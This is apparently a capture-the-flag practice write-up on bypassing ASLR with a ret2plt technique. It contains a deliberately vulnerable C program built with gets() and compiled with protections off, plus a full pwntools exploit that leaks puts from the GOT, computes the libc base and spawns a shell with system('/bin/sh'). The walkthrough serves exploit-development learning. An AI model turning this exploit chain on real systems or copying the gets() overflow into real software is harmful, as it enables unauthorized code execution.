ret2plt: Advanced ASLR Bypass via PLT/GOT Leak

September 14, 2025

ret2plt: Advanced ASLR Bypass via PLT/GOT Leak

Challenge 9: Ret2PLT ASLR Bypass via PLT / GOT Leak (9_simple.c)

Source Code:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    char buffer[20];
    gets(buffer);           // <- Buffer overflow vulnerability
    puts("Leaving!\n");     // <- Critical: provides output channel for our leak
}

int main() {
    puts("Good luck with this challenge!");
    vuln();
    return 0;
}

// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/9_simple src/9_simple.c

This challenge demonstrates advanced ASLR bypass using PLT/GOT leaking without any direct information disclosure in the program. We must create our own leak by exploiting the dynamic linking mechanism.

Binary Setup

gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/9_simple src/9_simple.c

Security Mitigations:

    Arch:       amd64-64-little
    RELRO:      No RELRO         <- GOT is writable
    Stack:      No canary found
    NX:         NX enabled       <- Prevents shellcode execution
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

ASLR Status: Enabled (system default)

Big difference from challenge before: No Direct Information Leak: Unlike Challenge 8's printf("System is at: %p\n", system)

The Challenge: ASLR with No Direct Leak

The Problem

# With ASLR enabled, libc addresses change every execution:
./bin/9_simple  # libc base: 0x7f8a2c400000
./bin/9_simple  # libc base: 0x7f3d1e200000  <- Different!
./bin/9_simple  # libc base: 0x7f9b4f800000  <- Different!

Unlike Challenge before this one, no addresses are printed by the program. We must create our own leak.

PLT/GOT Leak Technique

The Global Offset Table (GOT) contains runtime addresses of dynamically linked functions, and the Procedure Linkage Table (PLT) can be used to print these addresses.

Method Overview (as detailed in https://ian.nl/blog/leak-libc-rop):

  1. Use PLT as a "print function": Call puts@plt to print data
  2. Pass GOT entry as argument: puts@got contains the runtime address of puts
  3. Parse leaked address: Extract the runtime address from output
  4. Calculate libc base: Subtract known offset to find libc base
  5. Build ret2libc attack: Use calculated addresses for second ROP chain

Understanding PLT/GOT Mechanism

What are PLT and GOT?

PLT (Procedure Linkage Table):

  • Contains small code stubs for calling external functions
  • Each external function has a PLT entry (e.g., puts@plt)
  • Acts like a "trampoline" to the real function

GOT (Global Offset Table):

  • Contains actual runtime addresses of external functions
  • Each external function has a GOT entry (e.g., puts@got)
  • Populated by dynamic linker at runtime

PLT/GOT Interaction Example

# puts@plt (before first call):
puts@plt:
    jmp    QWORD PTR [puts@got]  # Jump to address in GOT
    push   0x0                   # Push relocation index
    jmp    PLT[0]                # Jump to resolver

# After dynamic linking, puts@got contains actual libc address:
puts@got: 0x7f8a2c487be0        # Real puts() function address

The Leak Strategy

Step 1: Call puts@plt with puts@got as argument

# ROP chain:
pop_rdi_gadget    # Load puts@got address into RDI
puts@got          # Argument: address containing puts runtime address
puts@plt          # Call puts() to print the content of puts@got

Result: puts() prints its own runtime address to stdout!

Address Discovery Process

Step 1: Find GOT/PLT Addresses in Binary

ian@vps:~/pwn/pwnpractice$ objdump -R bin/9_simple

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000404020 R_X86_64_GLOB_DAT  puts@GLIBC_2.2.5

puts@got address: 0x404020 (No RELRO = GOT is readable/writable)

ian@vps:~/pwn/pwnpractice$ objdump -d bin/9_simple | grep puts
0000000000401050 <puts@plt>:

puts@plt address: 0x401050

In our exploit we just make it dynamic by using the PWNtools built in functions

elf.got['puts'],
elf.plt['puts']

Python Exploit Breakdown

Stage 1: Leak libc Address

#!/usr/bin/env python3
from pwn import *

exe = "./bin/9_simple"
elf = context.binary = ELF(exe, checksec=True)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

io = start()

# ROP gadgets from binary
pop_rdi = 0x4011b5  # pop rdi; ret
ret = 0x40101a      # ret (stack alignment)

# Stage 1: Leak puts address via PLT/GOT
payload = flat(
    'A' * 40,              # Padding to reach return address
    ret,                   # Stack alignment (required for puts@plt)
    pop_rdi,               # ROP gadget: pop rdi; ret
    elf.got['puts'],       # Argument: address of puts@got (0x404020)
    elf.plt['puts'],       # Call puts@plt to print puts@got content
    elf.symbols['vuln']    # Return to vuln() for second exploitation round
)

io.sendline(payload)

Stage 1 Execution Flow

Stack Layout After Overflow:

[Buffer: AAAA...AAAA] (40 bytes)
[ret gadget         ] <- Return address (stack alignment)
[pop_rdi gadget     ] <- Executed after ret
[puts@got address   ] <- Will be popped into RDI (0x404020)
[puts@plt address   ] <- Call puts() with RDI pointing to puts@got
[vuln() address     ] <- Return here for second round

Execution Steps:

  1. Buffer overflow overwrites return address with ret gadget
  2. ret gadget aligns stack and returns to pop_rdi
  3. pop rdi; ret loads puts@got address (0x404020) into RDI and returns
  4. puts@plt executes puts() with RDI pointing to puts@got
  5. puts() reads 8 bytes from address 0x404020 and prints the runtime address
  6. Execution continues to vuln() for second exploitation stage

Stage 2: Parse Leak and Calculate libc Base

# Parse the leaked puts address
io.recvuntil(b'Leaving!\n\n')                    # Skip program output
leak = u64(io.recvline()[:-1].ljust(8, b'\x00'))  # Parse leaked address
log.success("Leaked puts: %#x", leak)

# Calculate libc base address
libc.address = leak - libc.symbols['puts']
log.success("LIBC base: %#x", libc.address)

Address Calculation:

# Example leaked address: 0x7f8a2c487be0
# puts offset in libc: 0x87be0 (from readelf -s libc.so.6 | grep puts)
# libc_base = 0x7f8a2c487be0 - 0x87be0 = 0x7f8a2c400000

Stage 3: Build ret2libc Attack

# Stage 2: Use calculated addresses for ret2libc
payload = flat(
    'A' * 40,                          # Padding to return address
    pop_rdi,                           # ROP gadget: pop rdi; ret
    next(libc.search(b'/bin/sh')),     # Argument: "/bin/sh" string address
    libc.sym['system'],                # Call system()
    0x0                                # Return address for system()
)

io.sendline(payload)
io.interactive()

Complete ROP Chain Analysis

First ROP Chain (Leak Phase)

Purpose: Leak puts runtime address
Stack Layout:
[AAAA...(40)] [ret] [pop_rdi] [puts@got] [puts@plt] [vuln]
     
Flow: ret  pop_rdi  puts@plt(puts@got)  vuln
Output: Leaked puts address printed to stdout

Second ROP Chain (Exploitation Phase)

Purpose: Execute system("/bin/sh")
Stack Layout:
[AAAA...(40)] [pop_rdi] ["/bin/sh"] [system] [0x0]
     
Flow: pop_rdi  system("/bin/sh")
Output: Shell spawned

Successful Exploitation

ian@vps:~/pwn/pwnpractice$ python3 solves/9_simple.py

Good luck with this challenge!
[+] Leaked puts: 0x7add5de87be0
[+] LIBC base: 0x7add5de00000

$ whoami
ian

Alternative GOT Leak Methods

1. Format String Attack:

printf(user_input);  // If user provides "%p %p %p", leaks stack addresses

2. Buffer Over-read:

char buf[20];
gets(buf);
printf(buf);  // If buf extends past boundary, may leak adjacent data

3. Double-Free/UAF:

// Freed object may contain old GOT addresses

Advanced Considerations

RELRO Protection Impact

No RELRO (This Challenge):

# GOT is readable and writable
readelf -l bin/9_simple | grep GNU_RELRO
# (no output = no RELRO)

Partial RELRO:

# GOT is readable but not writable
# PLT/GOT leak still works, but can't overwrite GOT entries

Full RELRO:

# GOT is read-only after initialization
# PLT/GOT leak still works, but provides no advantage over other leaks

libc Version Compatibility

Same Issue as Challenge 8: Exploit depends on libc version having correct function offsets.

Solutions:

  1. libc Fingerprinting: Leak multiple functions to identify version
  2. Provided libc: CTF challenges often include exact libc file
  3. libc Database: Use tools like libc-database for version lookup

-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.